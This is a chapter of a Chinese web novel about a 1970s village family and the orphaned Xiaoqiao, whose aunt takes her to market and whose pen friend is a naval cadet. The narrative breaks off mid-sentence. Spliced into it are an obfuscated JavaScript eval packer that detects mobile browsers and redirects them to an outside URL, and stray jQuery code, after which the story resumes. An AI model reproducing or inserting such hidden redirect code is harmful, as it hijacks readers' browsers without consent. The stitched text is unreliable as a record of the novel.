廖丽娟为了这次赶集做足了准备。


    先是费了大心思找尽了关系才攒下来的一张十尺布票，这足以做上衣裤子一整套衣服了，这是为了小儿子结婚用的，三乔快到年纪相亲了，结婚当日总不能穿着打补丁的旧衣服吧。


    老大老二结婚时，她都扯了新布给两个儿子争个体面，轮到老三时，她也不准备改变。


    当然，她也有私心，十尺布票能买的布可不少，给小儿子做衣服用不着那么多布料，剩下的就给小乔做个假领子，两个孩子就修个裤腿吧，整天蹦来蹦去，衣服不坏才怪。


    她在城里见过世面，也听大哥大嫂说过，城里人为了节省布料，会特地做出个假领子，穿在旧衣服里面，别人从外面看，那是一点都看不出来的。


    后来她观察村里面那些知青，也一样做法，有的女娃娃还交换裤子穿，隔几天就是一个新打扮，都不重样的，她家小乔也是城里来的姑娘，当然不能输给那些女知青。


    廖丽娟还带上了友谊牌雪花膏的空瓶子和两张肥皂票，看小闺女那副大手大脚涂抹雪花膏的样子，不去供销社买散装的雪花膏，那还真赶不上这孩子的大手大脚。


    一瓶用完另一瓶就能及时补上。


    还有准备打酱油的空瓶子，自家男人不好酒水，但是过年时要招待亲戚总不能一起喝井水，自是要准备空瓶子打白酒的。


    这瓶瓶罐罐的攒在一起，加上供销社里人挤人，好东西人人都争，廖丽娟解决完这些事已经是半个小时后了，好在出来时小乔带着两孩子乖乖等她。


    廖丽娟心里颇为满足，别人都说小乔是城里姑娘哪过得了乡下姑娘的生活，但别人不知道的是，她家小闺女比谁家闺女都乖，只听她和她男人的话。


    光是这点，足以慰藉廖丽娟数十年身边只有三个小子的冷硬心肠了，她就这个闺女，她不疼她闺女还能疼谁，是城里姑娘也好，是乡下姑娘也罢，是她心肝准没错。


    廖丽娟大包小包出来，拉着小闺女来到邮电局外。


    邮电局是长条平放的水泥平房，水泥抹面工工整整，屋顶中间结结实实用行楷字体书写了‘人民邮电’四个大字。


    左右两个四四方方的大窗，中间的正方形大门有铁艺栅栏，现在已经敞开了，邮电局大门的阶梯是从高到低走下去的。


    廖丽娟催着自家小闺女赶紧解决事情，小乔这才拿着信走过去，邮票是她自己准备的，就相当于邮资已经备好了，只需要将信投进邮筒里就行了，毕竟邮票面值抵扣邮资，无需额外支付费用。


    当初小乔爸爸救人一命的事迹传遍整个工厂，那被救的一家子赔给了小乔妈妈四百块钱。


    因小乔爸爸的临时工工位在前些年转正了，离世后被小乔妈妈接手工位，小乔妈妈是个坚强能干的女人，丈夫离世了也击不倒她的斗志，一家子的生活看似要回归正轨了，可惜后来小乔妈妈发生了意外。


    小乔当时的年纪还差一点就到十六周岁了，一旦年满十六周岁，就能接替妈妈的工位了，舅舅一家人哪等得了这个时候，他们就是要趁人病要人命，想要抢走这个工位。


    好在乔队长夫妻及时赶到，同姓亲戚说话可比异姓亲戚说话管用多了，舅家人得不到好处，就算是灰溜溜退下，也还是虎视眈眈。


    这时候交给小乔的就两个选择。


    一是小乔年纪快满十六周岁了，可以等她年纪到了就立马接替工位，就一个月的事。


    二是将工位卖了，跟二叔二婶回乡下。


    几乎人人都以为小乔会选第一个，就连舅家人都这么想，他们甚至想着小乔模样标致，等他们找户‘好人家’高价钱卖了小乔，小乔的工位就到他们手了，一来一回的收益，不得挣得盆满钵满。


    可小乔知道谁对自己好，谁对自己不好。


    她知道爸妈的工种是废大力气的活，她就算年纪够了，估计也是干不久这个工种，迟早要跟人调换岗位，而调换的岗位只会更繁琐，她更干不来。


    而且，她有弟弟妹妹，她还是一个大姑娘了，放在谁眼里都是可以吃绝户的孤女，就算没有舅舅家，她继续留在城里，是守不住钱财和工位的。


    因此，她选择卖出工位，爸爸当了十多年的临时工，也就前几年才转正，不是爸爸本事不够，而是这个工厂根本不缺人，矿山机械第二分厂可是人人挤破脑袋都想去的地方，在厂里当临时工都让人羡慕了，何况正式工。


    小乔将正式工工位卖出去，卖了整整六百块，还要来了二十多张工业券，当然，她对二叔二婶也不是没有防备心，但是比起当时豺狼虎豹围着的情形，她更相信爸妈口中的二叔二婶，妈妈对她说过，要是妈妈也出了事，她唯独能相信的就只有二叔二婶。


    当时舅舅家得知她的做法，就差没疯了，没脸没皮坏了自己名声，竟什么都没得到，还得到一个将亲外甥逼走的锅，打那之后，就没人敢跟他们家接触了。


    最终结果是，小乔和她爸妈都没看错人！


    哪怕小乔之后说想要上交部分钱，乔队长夫妻就没想过要私吞三个孩子的钱，当时还有一个更好的选择，就是让家里面读过书的小儿子接手工位，当上城里人后，稳定了就帮小乔找一桩好婚事，而小乔的弟弟妹妹就让小儿子养大。


    一个小姑娘接手工位是让人眼馋吃绝户的，但是一个小伙子接手工位，虽然说话难听，但当时世道的确如此，那姑娘家就相当于有人护着了。


    可乔队长夫妻就没想过这么做。


    他们清楚大哥大嫂养大了他们女儿，他们穷归穷，但要穷的有志气，不光工位不能交给他们儿子，三个孩子跟他们一块生活时，他们也不能要三孩子的钱。


    他们让小乔将钱分成三份，三孩子一人一份，这钱将来就是三孩子成家立业时要花的钱，小乔将这林林总总加起来的九百块存进农村信用社了。


    乔队长夫妻吩咐小乔，存折就自个儿放好，别告诉其他人自己有了多少钱。


    小乔答应了，还非要上交了一百块和全部票券才随着二叔二婶来乡下生活，但是这对夫妻只当这钱是存着给小乔当嫁妆了，乡下人没有彩礼嫁妆这事，但娘家人给的嫁妆多，小乔在婆家就越有底气。


    不过日常生活中，小乔写信用的墨水、信纸信封、邮递的邮资以及弟弟妹妹上学的花费，都是花她爸妈的钱，而家里三兄弟尚未分家，小乔的吃喝都是吃乔队长夫妻的口粮，没吃着三兄弟的，这大嫂二嫂再看不惯小乔，也没理由说小乔。


    而三兄弟的口粮得


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698822|189100||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    分给小乔的弟弟妹妹，当初夫妻供三个儿子三双筷子，将他们妹妹的份额占了，如今，得是他们回报大伯大婶的时候了。


    当然，三个孩子口粮的事没必要分得太清楚，一家人颇为相亲相爱，小乔有钱是小乔的事，乔队长夫妻愿意养自个儿的亲闺女，那也是他们的事，儿子们都没意见，都举双手双脚赞同。


    而大儿媳和二儿媳早在嫁进来之前就知道家里面的情况了，媒人说得清清楚楚，因此她们要抱怨，也站不住脚。


    “弄好了？”


    “好了！”小乔惯来爱撒娇，搂着二娘的手不放，弟弟妹妹也搂着二娘的腰腿不放。


    廖丽娟几乎要被这沉重的负担压垮，好在小乔有眼力见，及时拿住了二娘一只手的东西，结果刚拿起来，她小手直往地坠，小脸一下垮了。


    “二、娘、咱们、走吧！”短短一趟路，就让这个小姑娘同样被沉重的负担压垮，好在廖丽娟带着小闺女很快到了牛车上。


    所有人都满载而归，泽华和秋英两个小家伙围着姐姐转，小乔搂着他们，靠在二娘身边，被二娘搂着，春风拂面，日头正好，嘴角含着笑，竟不知不觉睡着了。


    ……


    半个月后，广省某驻地海军军校。


    凌彦磊收到信时，拆信的手很稳，也很快，在看到小乔被母鸡啄了手时眼里不免闪过一抹担忧，但终究是被小姑娘没心没肺活泼的话语逗笑了。


    算算时候，小乔的手应该好了。


    尽管一开始是因为被爸妈坑了，在回家给爷爷奶奶探亲时，得知爸妈因为看中一位女同志漂亮伶俐，问过女同志年岁和家庭情况，确保无误后就二话不说将他军校的地址以及姓名告诉那女同志了。


    就是想让那女同志给他主动寄信培养感情，省得他抗拒父母之命媒妁之言。


    他知道自己久久不成家让爸妈担心了，可就算要拉郎配也不是这么做的！


    是！他就是抗拒父母之命媒妁之言又怎样！那都是封建之言！


    因此，在小乔第一回给他寄信时，他心道这是爸妈乱点鸳鸯谱，他是要将一生都献给祖国的，哪能耽于儿女情长，于是回信拒绝了，顺便通过邮局汇款，将小乔的笔墨钱和邮费都补上了。


    结果第二回，小乔说要做朋友，不处对象！还将他的汇款都还回去了。


    小乔说起自家情况，说自己有一双弟弟妹妹要照顾，从城里到乡下的生活，尽管二叔二婶很照顾她了，她还是不习惯农村的乌漆嘛黑的粪坑、以及炒菜没油，没有副食品吃，连肉都只能一年见一次的现状，还是大过年的时候。


    当然小乔后来解释清楚了，她这是打听别人家的情况，但是二叔二婶家不一样，作为大户人家那是能一个月吃一次肉的，尽管不多，但也是体面生活了，二叔二婶对她和弟弟妹妹真的很好很好，她很喜欢她现在的家人。


    但这一切对于一个城里姑娘来说，的确不好受。


    当时，凌彦磊的良心微微拨动了。


    他觉得自己好似不该直接拒绝，至少应该委婉一点，尤其是对一个没了爸妈，寄人篱下的小姑娘。


    然后一时恻隐，一直恻隐。


    而现在，凌彦磊已经非常习惯一个月一次的信友交流了。